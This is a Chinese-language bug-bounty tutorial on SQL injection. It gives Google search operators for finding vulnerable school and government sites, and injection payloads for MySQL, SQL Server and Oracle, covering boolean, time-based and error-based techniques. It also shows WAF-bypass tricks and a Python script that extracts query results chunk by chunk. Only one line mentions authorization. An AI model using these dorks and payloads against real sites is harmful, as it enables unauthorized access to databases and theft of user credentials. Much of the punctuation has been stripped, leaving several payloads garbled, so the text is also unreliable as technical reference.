SRC实战从Google语法到手工报错注入的SQL漏洞挖掘三部曲在SRC安全响应中心漏洞挖掘领域SQL注入始终是价值高、危害大的核心漏洞类型。本文将系统化拆解从初始信息收集到最终漏洞验证的完整链路提供一套可复用的方法论体系。不同于基础教程我们聚焦三个实战维度精准定位目标的Google语法策略、绕过WAF的手工注入技巧以及报错注入的进阶利用帮助安全研究员在真实环境中高效发现高危漏洞。1. 靶标定位智能搜索策略构建1.1 Google语法深度优化传统inurl:php?id的搜索模式已逐渐失效现代SRC挖掘需要更精细的语法组合。以下策略经过实战验证# 组合搜索模板国内目标 site:edu.cn inurl:.php?id 学校 site:gov.cn inurl:/show.asp?id 部门关键参数组合表参数类型搜索语法示例适用场景数字型IDinurl:article.php?id新闻、博客系统分类参数inurl:category intitle:管理电商、内容管理系统伪静态路径inurl:/news/现代化CMS日期参数inurl:date filetype:php时间敏感型系统提示添加地域/行业关键词可大幅提升结果相关性如北京 inurl:product.asp?id1.2 冷门注入点挖掘突破常规ID参数关注这些常被忽略的注入点排序参数orderif(11,name,sleep(5))分页参数limit 10 offset (select extractvalue(1,concat(0x7e,version())))JSON接口/api/data?id{key:valueand 1convert(int,version)--}GET /search?qtestsort(CASE WHEN (SELECT SUBSTRING(version,1,1))5 THEN price ELSE date END) HTTP/1.12. 手工验证三层注入判断法2.1 初级探测符号触发通过符号干扰观察响应差异单引号测试GET /product.php?id123 HTTP/1.1预期响应数据库错误如MySQL的You have an error in your SQL syntax逻辑测试GET /product.php?id123 AND 11 -- 正常页面 GET /product.php?id123 AND 12 -- 空白/错误页面2.2 中级判断时间盲注当页面无显错时采用时间差验证?id1 AND IF(ASCII(SUBSTRING(database(),1,1))100, SLEEP(5), 0) --WAF绕过技巧使用/**/替代空格?id1/**/AND/**/SLEEP(5)--十六进制编码?id1 AND 10x312.3 高级验证报错注入利用数据库报错函数直接回显信息数据库类型报错函数示例MySQLextractvalue(1,concat(0x7e,(select user()),0x7e))SQL Serverconvert(int,version)Oraclectxsys.drithsx.sn(1,(select banner from v$version where rownum1))实战案例GET /news.php?id1 AND (SELECT 1 FROM (SELECT count(*),concat(0x3a,(SELECT database()),0x3a,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) HTTP/1.13. 报错注入实战GTID_SUBSET技巧3.1 MySQL冷门函数利用当常规报错函数被WAF拦截时使用GTID_SUBSET()函数?idGTID_SUBSET(concat(user(),:1),00000000-0000-0000-0000-000000000000:1)原理该函数用于比较GTID集合传入非法格式会返回布尔值通过页面差异判断条件真假。3.2 分块提取数据克服报错注入32字符限制?id1 AND extractvalue(1,concat(0x7e, (SELECT SUBSTRING( (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadatabase()),1,30) ),0x7e))自动化辅助脚本import requests def chunked_extract(url, param, query, chunk_size30): result for i in range(0, 1000, chunk_size): payload fAND extractvalue(1,concat(0x7e,( \ fSELECT SUBSTRING(({query}),{i1},{chunk_size}) \ f),0x7e)) r requests.get(f{url}?{param}1{payload}) if XPATH syntax error in r.text: part r.text.split(~)[1][:chunk_size] if not part: break result part return result4. 防御对抗WAF绕过艺术4.1 特殊字符变形原始字符变形方案空格/**/、%0a、%0d等号LIKE、REGEXP、BETWEEN引号十六进制编码、宽字节注入4.2 HTTP参数污染GET /search?id1 AND 11--idlegit_value HTTP/1.1某些WAF只检测第一个参数而应用程序可能处理最后一个参数。5. 漏洞利用从注入到数据提取5.1 数据库指纹识别特征数据库类型错误含versionMySQL错误含Microsoft OLE DBSQL Server错误含ORA-Oracle5.2 自动化验证流程graph TD A[Google语法搜索] -- B[单引号测试] B --|有报错| C[报错注入] B --|无报错| D[布尔盲注] D -- E[数据提取] C -- E6. 安全研究员的自我修养持续更新语法库定期收集新出现的CMS特征路径建立本地测试环境搭建常见数据库版本验证Payload有效性合法授权原则未经授权不进行实际注入测试在最近某次企业SRC项目中通过组合inurl:/api/v1/query?date语法与时间盲注技术成功发现3个未被报告的SQL注入点其中一处可获取完整的用户凭证表。这再次证明系统化的方法细节观察是SRC成功的关键。
